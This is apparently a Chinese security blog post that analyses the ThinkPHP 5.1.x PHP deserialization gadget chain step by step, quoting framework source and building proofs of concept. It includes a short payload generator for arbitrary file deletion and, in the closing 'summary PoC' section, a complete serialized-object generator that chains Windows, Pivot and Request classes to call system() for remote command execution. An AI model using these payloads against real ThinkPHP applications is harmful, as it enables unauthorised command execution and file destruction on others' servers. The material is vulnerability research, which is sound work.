ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
文章目录
- ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
- 动态调试环境配置
- Thinkphp反序列化链5.1.X原理分析
- 一.实现任意文件删除
- 二.实现任意命令执行
- 真正的难点
- Thinkphp反序列化链5.1.x 编写 Poc
- 汇总POC
动态调试环境配置
比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/
Thinkphp反序列化链5.1.X原理分析
原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性
前提:存在反序列化的入口
unserialize()
- phar反序列化
- session反序列化
__destruct
/__wakeup
可以作为PHP反序列链的入口
这里简单介绍一下__destruct
垃圾回收机制与生命周期的含义
__destruct
可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关
例如:
<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';?>
这里$test = new test("test",18, 'Test String');
对象被赋值给了$test
变量,而不是直接的new test("test",18, 'Test String');
传递给对象延长了对象的生命周期
所以是在echo '第二种执行完毕'.'<br>';
执行后才执行了__destruct
内容
类似的比如快速销毁(Fast-destruct)
<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';?>
这里直接__construct
后执行__destruct
因为unset — 清除指定变量
直接销毁储存对象的变量,达到快速垃圾回收的目的
现在开始分析链子 Windows
类中__destruct
执行了自身的removeFiles()
方法
跟进removeFiles
private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}
发现遍历$this->files
,而且$this->files
可控,作为数组传递
一.实现任意文件删除
@unlink($filename);
删除了传递的filename
简单编写poc
<?php
namespace think\process\pipes;use think\Process;
class Pipes{};class Windows extends Pipes
{private $files = ["D:\\flag.txt"];}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>
可以实现任意文件的的删除
二.实现任意命令执行
除了任意文件删除,危害还可以更大吗?
通过POP链可以实现任意命令执行
全局逻辑图
private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}
file_exists
函数用于判断文件是否存在
预期传入 String $filename
但是如果我们控制$filename
作为一个对象,就可以隐形的调用类的__toString()
方法
在thinkphp/library/think/model/concern/Conversion.php
中
public function __toString(){return $this->toJson();}
public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name) = explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible = true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name) = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}$item[$key] = $relation ? $relation->append($name)->toArray() : [];} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible([$attr]);}}$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];} else {$item[$name] = $this->getAttr($name, $item);}}}return $item;}
关键的几个判断和赋值
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}
public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}
$relation->visible($name);
中$relation
可控,可以实现任意类的visible
方法,如果visible
方法不存在,就会调用这个类的__call
方法
如何达到$relation->visible($name);
触发点 访问
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入
- 保证
$this->append
不为空 $this->append
数组的值$name
为数组 也就是二维数组
比如传入append:["peanut"=>["whoami"]]
接着向下走
$relation = $this->getRelation($key);if (!$relation) {
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
不会进入if/elseif
中 直接return;
回来 为null
if (!$relation)
为空进入判断
$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}
进入$this->getData
public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}
判断了$this->data
传递的键存在,如果存在,返回其数组对应的键值
比如可以控制$this->data = ['peanut'=>new request()]
$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}
$relation->visible($name);
中$relation
可控为任意类
现在寻找调用__call
的类
在thinkphp/library/think/Request.php
中
public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}
这里存在敏感关键函数call_user_func_array
__call
($method, $args)接受的参数`
$method
固定是visible
$args
是传递过来的$name
if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);
可以控制$this->hook['visible']
为任意值,可以控制函数名
call_user_func()
的利用方式无非两种
__call_user_func($method, $args) __
call_user_func_array([ o b j , obj, obj,method], $args)
如果执行第一种方式call_user_func($method, $args)
但是这里array_unshift($args, $this);
参数插入$this
作为第一个值
参数是不能被正常命令识别的,不能直接RCE
那我们最终的利用点可以肯定并不是这里
如果选择第二种方式
call_user_func_array([$obj,$method], $args)
**通过调用 任意类 的 任意方法 **,可供选择的可能性更多
call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,"任意方法"],[this,任意参数])
也就是 o b j − > obj-> obj−>func( t h i s , this, this,argv)
真正的难点
曲线救国的策略
难点理解:
__call魔术方法受到array_unshift无法可控触发call_user_func_array
利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func
为什么这里选Request
类isAjax
方法 接着POP链的调用了?
为什么当时的链子发现的作者会想到通过isAjax
接着执行命令?
网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了
Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推
开发者不会傻乎乎写个system,shell_exec,exec
等系统函数给你利用的可能
而我们又希望最终实现RCE的效果
我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令
比如call_user_func,call_user_func_array,array_map,array_filter...
在thinkphp/library/think/Request.php
中
private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);
$filter
, $value
可控
通过传递 $filter
, $value
实现任意命令执行
那么什么地方调用了filterValue
?回溯调用filterValue
的地方
在thinkphp/library/think/Request.php
中input
调用
$this->filterValue($data, $name, $filter);
public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter); //调用点}
input()函数满足条件,但是在 input()
中会对 $name
进行强转 $name = (string) $name;
传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input()
的方法
什么地方又调用了input
函数? Request
类中的param
函数
public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}
什么地方又调用了param
函数?
是在thinkphp/library/think/Request.php
中isAjax
方法调用
public function isAjax($ajax = false){$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}
我们可以控制$this->config['var_ajax']
为任意值
通过 call_user_func(['object','method',['$this','args']]);
实现 跳转 Request
类的isAjax
方法
至此实现整个链路的闭合
Thinkphp反序列化链5.1.x 编写 Poc
我们开始编写Poc时可以以魔术方法作为每个部分的 分界点
因为魔术方法的实现 往往时 跨类 的
注意声明一下 命名空间
//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}
实现触发 new Pivot
(任意类)的__toString
魔术方法
触发thinkphp/library/think/model/concern/Conversion.php
的
注意一下这里是trait Conversion
PHP 实现了一种代码复用的方法,称为 trait。
Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。
Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。
__toString->toJson->toArray->visible->
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}
保证几个条件
- $this->append有值
- $this->append的键对应的值为数组
- $this->data存在同名key,value的值就就是 跳转的任意类的visible方法
//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
可以实现跳转到Request
类的_call
方法
public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}
接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)
$method
一定是visible
因此可以控制$this->hook=['visible'=>[$this,'isAjax']];
跳转 Request
类的isAjax
方法
public function isAjax($ajax = false){$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}
控制$this->config['var_ajax'])
存在即可
调用$this->param
函数
public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}
这里直接初始化
$name = '', $default = null, $filter = ''
不进入第一个if判断
if (!$this->mergeParam)
控制protected $mergeParam = true;
其他条件无论执行与否,最后
return $this->input($this->param, $name, $default, $filter);
进入input
函数
public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);
初始化默认$data = [], $name = '', $default = null, $filter = ''
一定会进入$this->filterValue($data, $name, $filter);
调用函数filterValue
private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);
控制$filter
作为系统命令
protected $filter;
$this->filter=['system'];
filterValue.value
的值为第一个通过GET
请求的值
可以控制&$value
的值作为命令的参数
protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径
综合一下
//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax' => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}
汇总POC
<?php//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax' => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据
可以成功执行系统命令
本次链子涉及三个关键类
- Windows
- Conversion
- Request
可以浅浅记一下
可以调试看看具体的值